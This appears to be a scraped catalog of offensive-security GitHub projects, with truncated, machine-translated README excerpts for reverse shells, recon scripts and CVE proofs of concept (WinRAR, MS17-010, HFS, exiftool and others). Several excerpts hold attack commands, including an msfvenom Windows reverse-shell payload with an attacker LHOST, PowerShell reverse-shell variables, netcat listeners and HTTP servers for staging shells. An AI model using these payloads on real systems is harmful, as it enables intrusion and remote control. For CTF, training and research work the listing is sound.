reverse-ssh

ReverseSSH 정적으로 링크된 SSH 서버로, 역방향 연결 기능을 제공하여 간단하면서도 강력한 원격 접근을 가능하게 합니다. HackTheBox 챌린지, CTF 또는 이와 유사한 상황에서 가장 유용합니다. OSCP 시험 준비 기간 동안 개발되어 광범위하게 사용되었습니다. 최신 릴리스 받기 기능 netcat 으로 리버스 셸을 잡는 것은 확실히 멋지지만, 근육 기억 때문에 키보드 인터럽트로 실수로 리버스 셸을 종료해 본 사람이 없을까요? 이러한 셸은 깨지기 쉬울 뿐만 아니라 완전한 대화형 접근, TAB 완성 또는 히스토리와 ...

lazyrecon

/ \ / / \ /// / // Y / \ /| | | | / | / / \ / | /|| \ | / | / || |\ || | |/| |-||/ / / / | /| / | | /|| | || // |/// /\\|// | 使用法 ./lazyrecon.sh target.com 概要 このスクリプトは、以下の処理を組織的に実行することで、偵察プロセスを自動化することを目的としています。 偵察ノートを含む日付付きフォルダを作成 Sublist3r と certspotter を使用してサブドメインを取得...

CVE-2025-6019

CVE-2025-6019 개념 증명 PoC 이 저장소는 libblockdev 및 udisks의 CVE-2025-6019 , 즉 로컬 권한 상승LPE 취약점에 대한 개념 증명PoC 스크립트를 포함합니다. 스크립트는 SUID bash 바이너리가 포함된 XFS 파일시스템 이미지를 생성하고, nosuid 옵션 없이 마운트할 수 있도록 취약점을 악용하여 루트 셸을 획득합니다. 경고 : 이 PoC는 교육 및 테스트 목적으로만 제공됩니다. 승인된 시스템에서만 사용하십시오. 무단 사용은 불법이며 비윤리적입니다. 특징 로컬 모드 : 300 M...

CVE-2023-38831_ReverseShell_Winrar-RCE

利用WINRAR漏洞CVE-2023-38831获取反向Shell 在本仓库中，我们将利用WinRAR的CVE-2023-38831漏洞，从而从受害Windows机器获取反向Shell到攻击者Kali Linux机器。 前期步骤 下载本仓库的内容： 接下来，我们需要安装必要的Python依赖，以便利用以下命令利用此漏洞： pip install rarce 准备工作 我们将执行一个恶意代码，从 revshells.com 获取反向Shell（提供相应的攻击者IP和端口）： https://www.revshells.com/ $LHOST = "192.168.0.36"; $LPORT...

JSshell

JSshell - 버전 3.1 JSshell - JavaScript 리버스 셸입니다. 원격으로 JS 코드 실행, 블라인드 XSS 악용 등에 사용됩니다. 요구 사항: 모든 OS + Python 2 또는 Python 3 JSshell 버전 3.1의 새로운 기능 JSshell 3.1 새 버전에서 업데이트된 내용: 새로운 JSshell 명령어: snippet - 자바스크립트 코드 조각을 작성할 수 있게 해줍니다. snippet Use CTRL+D to finish the snippet function new new = 'New...

PHP-Shell-Detector

웹 쉘 탐지기 웹 쉘 탐지기는 php/cgiperl/asp/aspx 쉘을 찾고 식별하는 데 도움을 주는 php 스크립트입니다. 웹 쉘 탐지기는 '웹 쉘'을 최대 99%까지 식별하는 데 도움을 주는 '웹 쉘' 시그니처 데이터베이스를 보유하고 있습니다. 최신 자바스크립트 및 CSS 기술을 사용하여, 웹 쉘 탐지기는 가볍고 사용자 친화적인 인터페이스를 제공합니다. 웹 쉘 탐지기는 MIT 라이선스 http://www.opensource.org/licenses/mit-license.php 하에 배포됩니다. 콘솔 버전 python:...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Exiftool の CVE-2021-22204 脆弱性に対する Python エクスプロイト。 脆弱性について CVE-2021-22204 は William Bowling @wcbowling によって発見・報告されました。 このエクスプロイトは、CVE が報告された後に exiftool のパッチを研究して作成されました。 前提条件 exiftool と djvulibre ツールがインストールされていること。Debian または Ubuntu をお使いの場合は、以下のコマンドでインストールできます： sudo apt...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit 使い方 1. PHPリバースシェルを作成する 2. 同じディレクトリでシェルをホストするサーバーを起動する python3 -m http.server 3. 任意のローカルポートでnetcatリスナーを起動する例: nc -nlvp 任意のポート 4. 以下に示すエクスプロイトの例を実行する python3 modifiedCVE20153306.py --host リモートホスト --port 通常はポート21 --path /var/www または /var/www/html --shell PHPシェルの名前...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker msfvenom을 사용하여 페이로드 생성: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: 페이로드Windows용 역방향 TCP 셸를 지정합니다. LHOST=10.10.14.4: 공격자의 IP 주소대상이 연결할 주소입니다. LPORT=443: 공격자 시스템에서 연결을 수신할 포트입니다...

wifi-hacker

내장 Kali 도구를 사용하여 무선 연결을 공격하는 셸 스크립트. 모든 보안WEP, WPS, WPA, WPA2을 지원합니다. !이미지https://assets.kitploit.com/production/public/readmes/placeholders/f0f...

CVE-2024-41570

CVE-2024-41570 | Havoc C2 SSRF with RCE | WebSocketを介した自動リバースシェルエクスプロイト このプロジェクトは、脆弱なWebSocketベースのサービスを悪用するためのPythonベースの概念実証（PoC）スクリプトを提供します。スクリプトは、エージェント登録、WebSocketペイロード配信、およびリバースシェルを確立するためのリモートコマンド実行を自動化します。 特徴 ターゲットサービスにエージェントを登録します。 WebSocketを開き、ハンドシェイクと認証ペイロードを送信します。...

CVE-2017-12636

CVE-2017-12636 Usage: python3 exp.py target version1.6|2.1 reverseip reverseport / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./ / / | /// / /...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 このリポジトリには、Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution の詳細な説明と動作する PoC が含まれています。 設定: Netcat リスナーを作成します。 nc -lnvp 1234 攻撃者の IP をあなたの IP とポートに変更します。 また、nc.exe が存在する同じディレクトリに HTTP ファイルサーバーを作成します。 python -m http.server 80 使用法:...

CVE-2024-40110

CVE-2024-40110 - Poultry Farm Management System v1.0 Poultry Farm Management System v1.0 のエクスプロイト Exploit-DB サイトでエクスプロイトを見つけたものの動作しなかったため、コードをレビューしてニーズに合わせて改良することにしました。動作したので、さらに改良を加え、疑似 Web シェルを含めることにしました。 すべてのクレジットは、オリジナルスクリプトを開発した Jerry Thomas w3bn00b3r に帰属します。 オリジナルエクスプロイトリンク:...

-CVE-2023-30845

CVE-2023-30845 이 스크립트는 여러 서브도메인에서 CVE-2023-30845를 자동으로 탐지합니다. 사용 방법: 저장소 복제| 파일에 권한 부여| 파일 실행 ---|---|--- https://github.com/himori123/-CVE-2023-30845.git| chmod +x CVE-2023-30845.sh| ./CVE-2023-30845.sh...

Port-enumeration

포트 열거 NMap을 사용할 수 없는 상황에 직면한 적이 있습니까? 예를 들어, 권한이 없는 사용자로 리버스 셸을 획득했지만 유용한 도구가 사전 설치되어 있지 않은 경우입니다. 이것은 아무것도 없는 상태에서 네트워크를 스캔하는 데 도움이 되는 작은 스크립트입니다. 사용 예시: chmod +x port-enum.sh ./port-enum.sh 192.168.1.1 또는 bash port-enum.sh 192.168.1.1 원본 문서: https://www.ivanglinkin.com/simple-port-enumeration/...

put2win

put2win PUT HTTP 메서드 악용을 자동화하여 셸을 획득하는 스크립트입니다. 설치 git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh 사용법 Script to automate PUT HTTP method exploitation to get shell. Options: -t TARGET Target URL/IP e.g. 192.168.1.10 -p PORT Target PORT e.g. 8080 -u URL PATH Path to...

gitbleed_tools

GitBleed Tools - for extracting data from mirrorred git repositories About This repo contains shell scripts that can be used to download and analyze differences between cloned and mirror Git repositories. For more information about the underlying quirk in Git behavior, please visit read our blog...

SMShell

SMShell SMS 기반 셸의 PoC입니다. 모바일 광대역이 가능한 컴퓨터에서 SMS로 명령을 보내고 응답을 받습니다. 이 도구는 Markus Vervier가 주도한 eSIM 보안 영향에 대한 연구 중 영감을 받아 만들어졌으며, Offensivecon 2023에서 발표되었습니다. 면책 조항 이것은 완전한 C2가 아니라 SMS를 통해 원격으로 명령을 실행하기 위한 간단한 개념 증명입니다. 요구 사항 셸이 작동하려면 SMS를 보낼 수 있는 장치 두 대가 필요합니다. 피해자의 컴퓨터에는 물리적 SIM 또는 eSIM이 배포된 WWA...

CVE-2026-94503

Unrestricted Upload of File with Dangerous Type vulnerability in PX-lab Zombify zombify allows Upload a Web Shell to a Web Server.This issue affects Zombify: from n/a through 1.7.7...